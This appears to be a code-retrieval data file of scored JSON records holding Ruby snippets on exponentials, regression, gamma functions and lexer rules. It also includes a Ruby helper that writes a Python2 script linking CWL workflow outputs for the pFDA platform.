"text": "def get_exp_coeffs\n\t\tp = (0...@n).reduce(0) {|sum, i| sum + Math::log(@ys[i])} # Sum {ln(y)}\n\t\tq = (0...@n).reduce(0) {|sum, i| sum + (@xs[i]**2)} # Sum {x^2}\n\t\tr = (0...@n).reduce(0) {|sum, i| sum + @xs[i]}\t# Sum {x}\n\t\ts = (0...@n).reduce(0) {|sum, i| sum + (@xs[i]*Math::log(@ys[i]))} # Sum {x*ln(y)}\n\n\t\ta = (p*q - r*s) / (@n*q - r**2)\n\t\tb = (@n*s - r*p) / (@n*q - r**2)\n\n\t\t@exp_coeffs = [Math::exp(a).round(2), b.round(2)]\n\tend",
"title": ""
},
{
"docid": "12ad34bb64806271b13ede17b4b4ced6",
"score": "0.5540816",
"text": "def getExp ( x , y )\n\texp = x ** y\n\treturn exp\nend",
"title": ""
},
{
"docid": "f5763e698c93c98c6dfa8e35eb8dac42",
"score": "0.5522203",
"text": "def fact_sig_exp(n)\n gamma_sig_exp(n + 1)\nend",
"title": ""
},
{
"docid": "3c1e44ab1b9ed487cd211c8de992494f",
"score": "0.55107194",
"text": "def squaring_pow_real(x, e, precision=000001)\r\n squaring_pow(x, e.to_i) * (e%1 != 0 ? nth_root(10, squaring_pow_real(x, (e%1)*10), precision) : 1)\r\n end",
"title": ""
},
{
"docid": "4b0c4dc880a27cec1f5f6f04a9201410",
"score": "0.5509778",
"text": "def pow_real(x, e, precision=000001)\r\n pow(x, e.to_i) * (e%1 != 0 ? nth_root(10, pow_real(x, (e%1)*10), precision) : 1)\r\n end",
"title": ""
},
{
"docid": "39edef5b759367da9210ee37a06c1b14",
"score": "0.54918784",
"text": "def exp\n @exp ||= ComplexNumber.new((Math::E**real).round(15), 0) \\\n * ComplexNumber.new(\n Math.cos(imaginary).round(15),\n Math.sin(imaginary).round(15)\n )\n end",
"title": ""
},
{
"docid": "bfa6de6d7d5e8a505105b8b1cc308aca",
"score": "0.5482056",
"text": "def exponent(a=1, x)\n\ta*(Math::E**x)\nend",
"title": ""
},
{
"docid": "dfbfe6769764bbc7cf9771db32f62673",
"score": "0.54702646",
"text": "def standard_error_esd_wor(s,sam,pop)\n s.quo(Math::sqrt(sam)) * Math::sqrt(qf(sam,pop))\n end",
"title": ""
},
{
"docid": "bf6b21a0181851e75c77ef02d54c6680",
"score": "0.5465895",
"text": "def sigmoid(x)\n\t\te = Math::E\n\t\t1.0 / (1 + e**(-x) )\n\tend",
"title": ""
},
{
"docid": "248d0ccab642bdae0c902e45e135025c",
"score": "0.5456528",
"text": "def calc_koef(f, fs)\r\n 2 * Math.cos(2 * Math::PI * f / fs)\r\n end",
"title": ""
},
{
"docid": "8aa83ca66c0902c4849378ca8f747082",
"score": "0.54560953",
"text": "def exp1(b, e)\n return 1 if e == 0\n exp1(b, e - 1) * b\nend",
"title": ""
},
{
"docid": "0efd627c3611dc9273d042caa8699d91",
"score": "0.54523385",
"text": "def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*(((vector[index]-0.5)**2)/0.5);\n\t\t\t\t}\n\t\t\t\treturn Math.exp(-sum)\n\t\t\tend",
"title": ""
},
{
"docid": "02b7c70f45b508c08e646a0a9f2dc5a5",
"score": "0.5433222",
"text": "def evaluar_funcion(x)\n ecuacion = \"\"\n\n for i in (0...@ecuacion.length) do\n ecuacion += @ecuacion[i] >= 0 ? \"+#{@ecuacion[i]}*x^#{@grado - i}\" : \"#{@ecuacion[i]}*x^#{@grado - i}\"\n end\n\n if @ecuacion[0] >= 0\n ecuacion = ecuacion[1, ecuacion.length]\n end\n\n return DK.evaluate(ecuacion, x: x)\n end",
"title": ""
},
{
"docid": "f5bb0ecc31b9ee5d114880882820e99b",
"score": "0.54282475",
"text": "def exp\n\t\t\tmag = self.vec.mag\n\t\t\tMath::exp( self.scalar ) * Quaternion::sv2q( cos(mag), sin(mag) * self.vec/mag )\n\t\tend",
"title": ""
},
{
"docid": "4944beacaed3b0c5decdd96e64cbc3d8",
"score": "0.5425681",
"text": "def geomean x\n sum = 0.0\n x.each{ |v| sum += Math.log(v) }\n sum /= x.size\n Math.exp sum\n end",
"title": ""
},
{
"docid": "1ab73cf2a074952e3a0058cde6b1537b",
"score": "0.5411771",
"text": "def compute_es(_T)\n #equation 11\n #t units are celsius, es units are kPa\n es = 0.6108 * Math.exp((17.27 * _T) / (_T + 237.3))\nend",
"title": ""
},
{
"docid": "888a346a9307b63b219f5ca3a99c3131",
"score": "0.5404976",
"text": "def radial_basis(x)\n\t\tMath::E ** ( - (x**2) )\t\t\n\tend",
"title": ""
},
{
"docid": "490baaa52df19ac5ce9c36bca0f8ce2a",
"score": "0.5387706",
"text": "def exponent!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 3)\n\n \n # - - - - main rule block - - - -\n # at line 17:5: ( 'e' | 'E' ) ( '-' )? DECIMAL\n if @input.peek(1) == ?E || @input.peek(1) == ?e\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n # at line 17:15: ( '-' )?\n alt_6 = 2\n look_6_0 = @input.peek(1)\n\n if (look_6_0 == ?-) \n alt_6 = 1\n end\n case alt_6\n when 1\n # at line 17:15: '-'\n match(?-)\n\n end\n decimal!\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 3)\n\n end",
"title": ""
},
{
"docid": "69d9209f3e994d3d499f3abd8aa5028e",
"score": "0.53688794",
"text": "def lsin(x)\n\n ret = 0.0\n i = $TRIG_ITER\n \n while i > 1\n \n i -= 1.0\n\tret += pow(-1, i) * pow(x, (2 * i) + 1) / fact((2 * i) + 1)\n\t\t\n end\n\t\n return ret\n \nend",
"title": ""
},
{
"docid": "7982167906d17fa021990ef331cb6470",
"score": "0.5362199",
"text": "def exp\n # e^(r+uv)=exp(r)(cos(v)+u*sin(v))\n if is_real?; return Quaternion(Math::exp(@re)); end\n vec=self.vector; v=vec.abs; u = vec/v;\n Math::exp(@re)*(Math::cos(v)+u*Math::sin(v))\n end",
"title": ""
},
{
"docid": "a575696677da3d0e49b4d41b3f5eb27b",
"score": "0.5358157",
"text": "def std_err\n std / Math.sqrt(size)\n end",
"title": ""
},
{
"docid": "1e4414386718226cf8a9896acf7175eb",
"score": "0.5331428",
"text": "def exp(number, exponent)\n number * (10**exponent)\nend",
"title": ""
},
{
"docid": "0277fafe5fe0d82193b7f42c00b4b7de",
"score": "0.53238416",
"text": "def standard_error(type, degree = best_degree)\n\t\tbegin\n\t\t\ty_regressed = get_y_regressed(type, degree)\n\n\t\t\tsse = (0...@n).reduce(0) {|sum, i| sum + ((@ys[i] - y_regressed[i])**2)} # Sum of square error\n\n\t\t\tstandard_error = Math::sqrt(sse / @n)\n\n\t\t\tif standard_error.nan?\n\t\t\t\treturn Float::INFINITY\n\t\t\telse\n\t\t\t\treturn standard_error\n\t\t\tend\n\n\t\trescue Math::DomainError \t# If the regression cannot be performed,\n\t\t\treturn Float::INFINITY \t# the error will be infinite so it can be compared with other regressions errors\n\t\tend\n\tend",
"title": ""
},
{
"docid": "562c8ead0c914e0bd2e061eff10d9eee",
"score": "0.5322775",
"text": "def exp10\n Double.new(10**self.to_f)\n end",
"title": ""
},
{
"docid": "7491a221e0c045e510fa37e93b6e8efd",
"score": "0.5313863",
"text": "def efg\n return 0.0 if fg.zero? || fga.zero?\n\n ((fg.to_f + 0.5 * three_p.to_f)/fga).round(3)\n end",
"title": ""
},
{
"docid": "98734912e7f219e94cc3a4088376557b",
"score": "0.52869153",
"text": "def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*vector[index]\n\t\t\t\t}\n\t\t\t\treturn 1-Math.exp(-sum**2)\n\t\t\tend",
"title": ""
},
{
"docid": "9c3e363f66a6e91ece05fecb1322ef44",
"score": "0.5285952",
"text": "def sigmoid x\n 1.0 / (1 + Math::E** -x)\n end",
"title": ""
},
{
"docid": "4f4efbdf2bc07e2848c9f8b79d19f884",
"score": "0.5260138",
"text": "def exp(base,exponent)\n p exponent\n return 1 if exponent == 0\n return base if exponent == 1\n if exponent.even?\n result = exp(base,exponent/2)\n result * result\n else\n result = exp(base,(exponent-1)/2)\n base * (result * result)\n end\n\n\nend",
"title": ""
},
{
"docid": "d4d962792fb01e93e074838bea3ffff2",
"score": "0.5236042",
"text": "def process_error(exp)\n return exp.shift\n end",
"title": ""
},
{
"docid": "841ed2184e1d7f1893b3da6fc81dc535",
"score": "0.52273655",
"text": "def exponent\n Math.log10(subunit_to_unit).round\n end",
"title": ""
},
{
"docid": "20904badc8e5f77d55520864e5ca4ff4",
"score": "0.5226572",
"text": "def calculate_exponent(num, exp)\n\treturn num ** exp\nend",
"title": ""
},
{
"docid": "4fb0a67ba8cfd04bf76b52e823c186ee",
"score": "0.5224994",
"text": "def eccentricity_Earth()\r\n # [-0.0000001235, -0.000042037, 0.016708617].inject(0.0) {|p, a| p * @ta + a}\r\n eoe(@ta) \r\n end",
"title": ""
},
{
"docid": "670d9de99ae4fc80ffe83c9a8f61b51d",
"score": "0.52225447",
"text": "def rm_edgy_x() (ppu_x * reg_radius).round + 5 end",
"title": ""
},
{
"docid": "8cad0023989744ba23f59a5234d85599",
"score": "0.5208153",
"text": "def rec_exp_1(base, power)\nend",
"title": ""
},
{
"docid": "ae3779eda447c951b966ae9716408506",
"score": "0.5158753",
"text": "def get_cdf(x)\n return 0.5 + 0.5 * Math.erf((Math.log(x.to_f) - @meanlog) / (NumericalConstants::SQRT2 * @sdlog))\n end",
"title": ""
},
{
"docid": "742f4c363e6f8c670140a6d8f1e0879b",
"score": "0.5147396",
"text": "def e(x)\n rand(x**@n)\n end",
"title": ""
},
{
"docid": "f10b4738ca9370673d8ea7b3598e6940",
"score": "0.51454335",
"text": "def exponent!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n \n # - - - - main rule block - - - -\n # at line 361:12: ( 'e' | 'E' ) ( '+' | '-' )? ( '0' .. '9' )+\n if @input.peek(1) == 0x45 || @input.peek(1) == 0x65\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n # at line 361:22: ( '+' | '-' )?\n alt_14 = 2\n look_14_0 = @input.peek( 1 )\n\n if ( look_14_0 == 0x2b || look_14_0 == 0x2d )\n alt_14 = 1\n end\n case alt_14\n when 1\n # at line \n if @input.peek(1) == 0x2b || @input.peek(1) == 0x2d\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n end\n # at file 361:33: ( '0' .. '9' )+\n match_count_15 = 0\n while true\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0.between?( 0x30, 0x39 ) )\n alt_15 = 1\n\n end\n case alt_15\n when 1\n # at line 361:34: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n else\n match_count_15 > 0 and break\n eee = EarlyExit(15)\n\n\n raise eee\n end\n match_count_15 += 1\n end\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n end",
"title": ""
},
{
"docid": "b03d8cab2606b7bf5634d0a7a01722a9",
"score": "0.51358736",
"text": "def standard_error_ksd_wor(s,sam,pop)\n s.quo(Math::sqrt(sam)) * Math::sqrt(qf(sam,pop)) \n end",
"title": ""
},
{
"docid": "9ba7c4537b27109e1f717c8b0dbed4a7",
"score": "0.5129268",
"text": "def fit_power(xs, ys)\n a, b, rr = fit(xs, ys, tran_x: ->(x) { Math.log(x) },\n tran_y: ->(y) { Math.log(y) })\n\n [a, Math.exp(b), rr]\n end",
"title": ""
},
{
"docid": "8e04ff936632a14c8a13a14d2d76f24b",
"score": "0.5111817",
"text": "def gamma(x)\n if (x < 0.0)\n return Math::PI / (Math.sin(Math::PI * x) * Math.exp(loggamma(1 - x))) #/\n end\n Math.exp(loggamma(x))\n end",
"title": ""
},
{
"docid": "274d5de2ff189d060289f88cf4b51495",
"score": "0.5099521",
"text": "def rec_exp_2(base, power)\nend",
"title": ""
},
{
"docid": "134a9df0ebf7cf54a640015ea175cd6c",
"score": "0.5093608",
"text": "def lcos(x)\n \n ret = 0.0\n rep = $TRIG_ITER\n\t\t\n while rep > 1\n \n rep -= 1\n\tret += pow(-1, rep) * pow(x, 2 * rep) / fact(2 * rep)\n\t\t\t\t\t\n end\n \n return ret\n \nend",
"title": ""
},
{
"docid": "e48fd6848f998b645f99ee05671ee873",
"score": "0.50849617",
"text": "def exp(input, name: nil)\n check_allowed_types(input, FLOATING_POINT_TYPES)\n _op(:exp, input, nil, name: name)\n end",
"title": ""
},
{
"docid": "75bef917a152ebc2d5d9d8e3b525d920",
"score": "0.5083829",
"text": "def exp(input, name: nil)\n check_allowed_types(input, FLOATING_POINT_TYPES)\n _op(:exp, input, name: name)\n end",
"title": ""
},
{
"docid": "f6ddd48fe74fe969484f47f61ca52803",
"score": "0.50660956",
"text": "def growth_rate_over_kx_gsl_vector(options)\n options[:direction] = :kx\n growth_rate_over_kxy_gsl_vector(options)\n end",
"title": ""
},
{
"docid": "5801cc63f60c4fde3e82518a32eaf375",
"score": "0.5054176",
"text": "def error(arr)\n sigma(arr) / Math.sqrt(arr.size)\nend",
"title": ""
},
{
"docid": "9c87ffaef498f05ba79b33343a914e47",
"score": "0.5046861",
"text": "def ERROR(&block)\n Then(on_eval: \"_gvn_error\", &block)\n end",
"title": ""
},
{
"docid": "e39d5d6a2aed191a6e070e08aff3a0e0",
"score": "0.5042546",
"text": "def exponent(b, n)\n\nend",
"title": ""
},
{
"docid": "e39d5d6a2aed191a6e070e08aff3a0e0",
"score": "0.5042546",
"text": "def exponent(b, n)\n\nend",
"title": ""
},
{
"docid": "e39d5d6a2aed191a6e070e08aff3a0e0",
"score": "0.5042546",
"text": "def exponent(b, n)\n\nend",
"title": ""
},
{
"docid": "ff796f66e45ec2c7028fbc5fedf99c63",
"score": "0.5038215",
"text": "def float_to_integral_significand_exponent(x)\n Float.context.to_int_scale(x)\nend",
"title": ""
},
{
"docid": "dc1ea7ce0e980a6182ffe29faf1ace88",
"score": "0.503727",
"text": "def x_less_than_root_epsilon x, with_error\n result = square_x ? x*x : x\n\n with_error ? [result, Float::EPSILON * result.abs] : result\n end",
"title": ""
},
{
"docid": "07b292ab86fca141e87f523eac94229e",
"score": "0.5030091",
"text": "def mean_sqr_err(expected)\n len = [length, expected.length].min\n sum = (0...len).reduce 0 do |sum, i|\n o = (self[i].ord - A) / 25.0\n e = (expected[i].ord - A) / 25.0\n sum + (o - e)**2\n end\n sum / len\n end",
"title": ""
},
{
"docid": "6787f96e00a91c66d4ab2cc87b58b9ea",
"score": "0.5030018",
"text": "def test_positive_float_out_of_range\n\n @values_positive_float_out_of_range.each { |x|\n assert_raises RangeError do\n ln(x)\n end\n }\n\n end",
"title": ""
},
{
"docid": "e0a0d7cbd79d9c8d1ee42d4deb27149d",
"score": "0.5021296",
"text": "def get_mean \n return Math.exp(@meanlog + @sdlog**2 / 2.0)\n end",
"title": ""
},
{
"docid": "2d4257e99dec89aee6b1398b55f3a4f3",
"score": "0.5019618",
"text": "def exp2(n,e)\n return n if n == 0 || n == 1 || e == 1\n return 1 if e == 0\n if e % 2 == 0\n temp = exp2(n,(e / 2))\n return temp * temp\n else\n temp = exp2(n,((e - 1) / 2))\n return n * temp * temp\n end\nend",
"title": ""
},
{
"docid": "77bdc3d09c82dfb5fc425fda13f38697",
"score": "0.50168025",
"text": "def exp(str); end",
"title": ""
},
{
"docid": "77bdc3d09c82dfb5fc425fda13f38697",
"score": "0.50168025",
"text": "def exp(str); end",
"title": ""
},
{
"docid": "b530fbed2fb18a9bba6e60d3e0fd08f0",
"score": "0.5014599",
"text": "def rms\n\t\tsum = (@error_list.inject { |sum, x| sum + x } ** 2) / @error_list.size\n\t\tMath.sqrt(sum)\n\tend",
"title": ""
},
{
"docid": "c07f6cb9be4258402f5c81d77d0f87b7",
"score": "0.49902385",
"text": "def gamma(x)\n raise \"Invalid input\" unless x > 0\n\n # Split the function domain into three intervals:\n # (0, 0.001), [0.001, 12), and (12, infinity)\n\n ###########################################################################\n # First interval: (0, 0.001)\n #\n # For small x, 1/Gamma(x) has power series x + gamma x^2 - ...\n # So in this range, 1/Gamma(x) = x + gamma x^2 with error on the order of x^3.\n # The relative error over this interval is less than 6e-7.\n\n gamma = 0.577215664901532860606512090 # Euler's gamma constant\n\n if x < 0.001\n return 1.0/(x*(1.0 + gamma*x))\n end\n\n ###########################################################################\n # Second interval: [0.001, 12)\n\n if x < 12.0\n # The algorithm directly approximates gamma over (1,2) and uses\n # reduction identities to reduce other arguments to this interval.\n \n y = x\n n = 0\n arg_was_less_than_one = (y < 1.0)\n\n # Add or subtract integers as necessary to bring y into (1,2)\n # Will correct for this below\n if arg_was_less_than_one\n y += 1.0\n else\n n = y.floor - 1 # will use n later\n y -= n\n end\n\n # numerator coefficients for approximation over the interval (1,2)\n p =\n [\n -1.71618513886549492533811E+0,\n 2.47656508055759199108314E+1,\n -3.79804256470945635097577E+2,\n 6.29331155312818442661052E+2,\n 8.66966202790413211295064E+2,\n -3.14512729688483675254357E+4,\n -3.61444134186911729807069E+4,\n 6.64561438202405440627855E+4\n ]\n\n # denominator coefficients for approximation over the interval (1,2)\n q =\n [\n -3.08402300119738975254353E+1,\n 3.15350626979604161529144E+2,\n -1.01515636749021914166146E+3,\n -3.10777167157231109440444E+3,\n 2.25381184209801510330112E+4,\n 4.75584627752788110767815E+3,\n -1.34659959864969306392456E+5,\n -1.15132259675553483497211E+5\n ]\n\n num = 0.0\n den = 1.0\n\n z = y - 1\n 8.times do |i|\n num = (num + p[i])*z\n den = den*z + q[i]\n end\n result = num/den + 1.0\n\n # Apply correction if argument was not initially in (1,2)\n if arg_was_less_than_one\n # Use identity gamma(z) = gamma(z+1)/z\n # The variable \"result\" now holds gamma of the original y + 1\n # Thus we use y-1 to get back the orginal y.\n result /= (y-1.0)\n else\n # Use the identity gamma(z+n) = z*(z+1)* ... *(z+n-1)*gamma(z)\n n.times do\n result *= y\n y += 1\n end\n end\n\n return result\n end\n\n ###########################################################################\n # Third interval: [12, infinity)\n\n if x > 171.624\n # Correct answer too large to display. \n return 1.0/0 # float infinity\n end\n\n return Math.exp(log_gamma(x))\nend",
"title": ""
},
{
"docid": "3bbde9032a5ea75e4146e5fb7114c102",
"score": "0.4986185",
"text": "def exp\n\t\tresult = Math.exp(@input)\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend",
"title": ""
},
{
"docid": "35deaa76aa338ec7dec042e1a7a92c52",
"score": "0.49858004",
"text": "def exponent_part\n if (code = @codes[@pos]) == 0x2b\n @pos += 1\n elsif code == 0x2d\n @pos += 1\n neg = true\n end\n d = decimal_digits\n raise ParseError.new(\"unexpecting token\", self) if d.nil?\n if neg\n e = \"-#{d}\"\n else\n e = d\n end\n e\n end",
"title": ""
},
{
"docid": "0eea38d0f480084603c2b23bcbbf7ff6",
"score": "0.49642587",
"text": "def exp(n, i)\n n ** i\nend",
"title": ""
},
{
"docid": "d00590d18645ce30dcde6327660a144f",
"score": "0.49587125",
"text": "def sbs_NR(exp,num,step,prec)\r\n\tres = Float(step)\r\n\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\tif((res**exp - num) < prec)\r\n\t\treturn 0\r\n\telse\r\n\t\treturn res\r\n\tend\r\nend",
"title": ""
},
{
"docid": "d00590d18645ce30dcde6327660a144f",
"score": "0.49587125",
"text": "def sbs_NR(exp,num,step,prec)\r\n\tres = Float(step)\r\n\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\tif((res**exp - num) < prec)\r\n\t\treturn 0\r\n\telse\r\n\t\treturn res\r\n\tend\r\nend",
"title": ""
},
{
"docid": "2fcc5fdd1777604fbef7ee5a6c841196",
"score": "0.49570718",
"text": "def exp(base, exponent)\n return 1 if exponent.zero?\n\n base * exp(base, exponent - 1)\nend",
"title": ""
},
{
"docid": "8d1a3be2d6b5c376853e7630224d4411",
"score": "0.49553692",
"text": "def test_negative_float\n\n @values_positive_float.each { |x|\n assert_in_delta(Math::log(x), ln(x))\n }\n\n end",
"title": ""
},
{
"docid": "c5880955140f51442cc8f2ba5bbbf337",
"score": "0.4949187",
"text": "def exp(base, power)\n return 1 if power == 0\n return base if power == 1\n base * exp(base, (power-1))\nend",
"title": ""
},
{
"docid": "1d538f7c1d8dd444cec109149afa9a40",
"score": "0.4944769",
"text": "def log_1plusx_minusx x, with_error = false\n raise(ArgumentError, \"Range error: x must be > -1\") if x <= -1\n\n if x.abs < Math::ROOT5_FLOAT_EPSILON\n result = x*x * (C1 + x*(C2 + x*(C3 + x*(C4 + x*begin\n C5 + x*(C6 + x*(C7 + x*(C8 + x*C9))) # formerly t = this\n end))))\n return with_error ? [result, Float::EPSILON * result.abs] : result\n elsif x.abs < 0.5\n c = ChebyshevSeries.evaluate(:lopxmx, (8*x + 1).quo(2*x+4), with_error)\n return with_error ? [x*x * c.first, x*x * c.last] : x*x*c\n else\n lterm = Math.log(1.0+x)\n error = Float::EPSILON * (lterm.abs + x.abs) if with_error\n result = lterm - x\n return with_error ? [result, error] : result\n end\n end",
"title": ""
},
{
"docid": "dec67e221355759ae4e3ca65054da91e",
"score": "0.49377248",
"text": "def gauss_seidel(n, a, b, x0, error, n_max)\n n = n - 1\n\n x = Array.new(n + 1)\n for k in (0..n_max)\n sumatoria = (1..n).inject(0) { |sum, j| sum + a[0][j] * x0[j] }\n x[0] = (b[0] - sumatoria).fdiv(a[0][0])\n\n (1..n - 1).each do |i|\n sumatoria_1 = (0..i - 1).inject(0) { |sum, j| sum + a[i][j] * x[j] }\n sumatoria_2 = (i + 1..n).inject(0) { |sum, j| sum + a[i][j] * x0[j] }\n x[i] = (b[i] - sumatoria_1 - sumatoria_2).fdiv(a[i][i])\n end\n\n sumatoria = (0..n - 1).inject(0) { |sum, j| sum + a[n][j] * x[j] }\n x[n] = (b[n] - sumatoria).fdiv(a[n][n])\n\n resta = x.map.with_index { |xi, i| xi - x0[i] }\n modulo = Math::sqrt(resta.inject(0) { |sum, i| sum + i ** 2 })\n if modulo < error\n puts \"Una solucion aproximada es X = #{x}.\"\n return x\n end\n\n x0.replace(x)\n end\n\n puts \"Se alcanzo el numero maximo de iteraciones n_max pero no la tolerancia.\"\nend",
"title": ""
},
{
"docid": "896106e04e3dd598870eb00f2f6e2b30",
"score": "0.49353147",
"text": "def rms()\n r = error_list.inject{|s,n| s + n ** 2}/error_list.size\n return Math.sqrt(r)\n end",
"title": ""
},
{
"docid": "85c5135e46ef7139cabe0f8f4c263c3d",
"score": "0.49321786",
"text": "def ∞ℂ; ::Float::INFINITY_COMPLEX; end",
"title": ""
},
{
"docid": "6112c32d04dd2358ec43eda68048ceaf",
"score": "0.4931345",
"text": "def process_xstr(exp)\n str = exp.shift\n @model.interpolate(str)\n end",
"title": ""
},
{
"docid": "e3509cedb971ba1e2fd6d07b75908529",
"score": "0.4928858",
"text": "def exponents\n\tputs \"what number would you like raise and to what power do you want to raise it?\"\n\texp_number = gets.chomp\n\tpower = gets.chomp\n\tif power.to_i > 15\n\t\tputs \"Okay, let's be real, I'm not THAT smart. What're you trying to break me?\"\n\telse \n\t\tputs exp_number.to_f ** power.to_f\n\tend\nend",
"title": ""
},
{
"docid": "2073a7f4004bd5636f383e5b617fd50f",
"score": "0.49267775",
"text": "def exponentiation(base, exp)\n return nil if exp < 0\n return 1 if exp == 0\n return base if exp == 1\n\n if exp.even?\n (exponentiation(base, exp / 2)**2)\n else\n base * (exponentiation(base, (exp - 1) / 2)**2)\n end\nend",
"title": ""
},
{
"docid": "add1b0f70a27ec6a7fcb4b0ea7247b7b",
"score": "0.4912885",
"text": "def exp(base, exponent)\n return base if exponent == 1\n base * exp(base, exponent-1)\nend",
"title": ""
},
{
"docid": "f69429fc6bbbe9c8feada2f6dbd6332c",
"score": "0.49082577",
"text": "def exp2(b, e)\n return 1 if e == 0\n half = exp2(b, e/2)\n\n if e.even?\n half * half\n elsif e.odd?\n b * half * half\n end\nend",
"title": ""
},
{
"docid": "a39fe94d37437e64f34f5ef273069974",
"score": "0.4902164",
"text": "def pnormalx__x(y); pnormalxXX_(1.0 - y/2.0); end",
"title": ""
},
{
"docid": "0ba93796ad1e8af05529107b6f6789c5",
"score": "0.48903635",
"text": "def vres_energy_gsl_vector(options)\n raise \"Velocity space vres diagnostics not found\" unless FileTest.exist? \"#@directory/#@run_name.vres\"\n vres = GSL::Vector.filescan(\"#@directory/#@run_name.vres\")\n return vres[2]\n end",
"title": ""
},
{
"docid": "ebe26b242aaa74f4a75861cf0c041658",
"score": "0.488173",
"text": "def exp_v_1(num, pow)\n return 1 if pow === 0\n return num * exp_v_1(num, pow - 1)\nend",
"title": ""
},
{
"docid": "9cd852431c8bb99a6d16435546fc5b5f",
"score": "0.48784626",
"text": "def get_rng\n return Math.exp(@norm.rng)\n end",
"title": ""
},
{
"docid": "f14c4dd91228850711dca4a94d0f78d9",
"score": "0.48777694",
"text": "def error(nvae)\n end",
"title": ""
},
{
"docid": "09bac82d6ab2e966fa03b21e3b326379",
"score": "0.4873499",
"text": "def min_x\n c2f_x(0)\n end",
"title": ""
}
] |
679fedeff2872a2f62e6cdb23a7b5955 | Returns the code for outputs linking. This code depends on dxpy package and needs to be run with python2. | [
{
"docid": "fb1dca3b3b5f724a803dc8efe1146058",
"score": "0.76826787",
"text": "def link_outputs\n <<~CODE\n # Link CWL job outputs with pFDA outputs (using python2)\n PYTHONPATH=$DNANEXUS_HOME/lib/python2.7/site-packages python2 <<EOF\n import os\n import json\n import subprocess\n\n def sh(cmd, ignore_error=False):\n try:\n print cmd\n subprocess.check_call(cmd, shell=True)\n except subprocess.CalledProcessError as e:\n sys.exit(e.returncode)\n\n with open(\"#{CWLTOOL_OUTPUTS_FILE}\") as f:\n cwloutputs = json.loads(f.read())\n\n def is_output_file(ovalue):\n return 'class' in ovalue and ovalue['class'] == 'File'\n\n def compile_output_generic(oname, ovalue):\n if isinstance(ovalue, list):\n return [ compile_output_generic(oname, x) for x in ovalue ]\n elif isinstance(ovalue, dict):\n if is_output_file(ovalue):\n sh(\"emit {} {}\".format(oname, ovalue['path']))\n else:\n if ovalue is not None:\n sh(\"emit {} {}\".format(oname, ovalue))\n\n for oname, ovalue in cwloutputs.items():\n compile_output_generic(oname, ovalue)\n EOF\n CODE\n end",
"title": ""
}
] | [
{
"docid": "a58c8df1a73b80da1258ad9866b7469e",
"score": "0.66290313",
"text": "def linking\r\n linkcmd = ''\r\n objlist = ''\r\n\r\n # unroll objects list to string.\r\n FileList.new( @out[:obj] + '/*.o' ).each do |o|\r\n objlist += \" #{o}\"\r\n end\r\n \r\n case self[:outtype]\r\n # Raw linking (link use \"ld\" utilites).\r\n when 'ld'\r\n # Executable format of output file.\r\n when 'elf'\r\n linkcmd = 'g++ '\r\n self[:lib][:path].each do |p|\r\n if !p.empty? then\r\n if p.length > '-L'.length then\r\n p = \"-L#{p}\" if p[0,'-L'.length] != '-L'\r\n end\r\n linkcmd += \"#{p} \"\r\n end\r\n end\r\n # Static Library format of output file.\r\n when 'a'\r\n aropt = getopt( self[:option][:ar] )\r\n aropt = 'rcs' if aropt.empty?\r\n linkcmd = \"#{$project[:gcc][:cc]}ar #{aropt} #{@out[:bin]}lib#{self[:appname]}.a #{objlist}\"\r\n # Shared Library format of output file.\r\n when 'so'\r\n else\r\n Maker.error( 'Unknown format <' + self[:outtype] + '> to output file.' )\r\n end\r\n return linkcmd\r\n end",
"title": ""
},
{
"docid": "b397684fac5f517cd81f47d55e6b8d68",
"score": "0.66140914",
"text": "def get_Link()\n \t return @outputs[\"Link\"]\n \tend",
"title": ""
},
{
"docid": "09e112f94613b3eaf0615e87359ad8ed",
"score": "0.6588435",
"text": "def get_linker()\n\t\treturn self.get_bin('linky')\n\tend",
"title": ""
},
{
"docid": "43bc3495c6d8fe271428b8514cb690b7",
"score": "0.62369967",
"text": "def make_linker_output( path, os )\n return \"-o #{path}/#{os[2]}\"\nend",
"title": ""
},
{
"docid": "1dc4b4eda299425d51f6b49968898ff9",
"score": "0.5909767",
"text": "def write_code\n @linker.assemblers.each do |asm|\n asm.callable.each_binary do |code|\n write_any(code)\n end\n end\n end",
"title": ""
},
{
"docid": "06608ac30afd0efe11887613365057fc",
"score": "0.5908698",
"text": "def linker()\n\t\tcompiler = BuildEnv::linker()\n\t\t@linkerCustomizations = raker().buildCustomizations(self) if @linkerCustomizations.empty?\n\t\t@linkerCustomizations.each {|f| if f[:ldcmp] then f[:ldcmp].call(compiler) end}\n\t\treturn compiler\n\tend",
"title": ""
},
{
"docid": "7edf047643526dd9526356a815999c05",
"score": "0.5717155",
"text": "def make_output_available(output_name, outputs)\n bubble_path = outputs[output_name].root_path - root_path\n drip_path = root_path - outputs[output_name].root_path\n bubble_path.each_slice(2) do |base_sparkle, ref_sparkle|\n next unless ref_sparkle\n base_sparkle.compile.outputs.set!(output_name).set!(\n :value, base_sparkle.compile.attr!(\n ref_sparkle.name, \"Outputs.#{output_name}\"\n )\n )\n end\n if bubble_path.empty?\n if drip_path.size == 1\n parent = drip_path.first.parent\n if parent && parent.compile.parameters.data![output_name]\n return compile.ref!(output_name)\n end\n end\n raise ArgumentError.new \"Failed to detect available bubbling path for output `#{output_name}`. \" <<\n \"This may be due to a circular dependency! \" <<\n \"(Output Path: #{outputs[output_name].root_path.map(&:name).join(\" > \")} \" <<\n \"Requester Path: #{root_path.map(&:name).join(\" > \")})\"\n end\n result = compile.attr!(bubble_path.first.name, 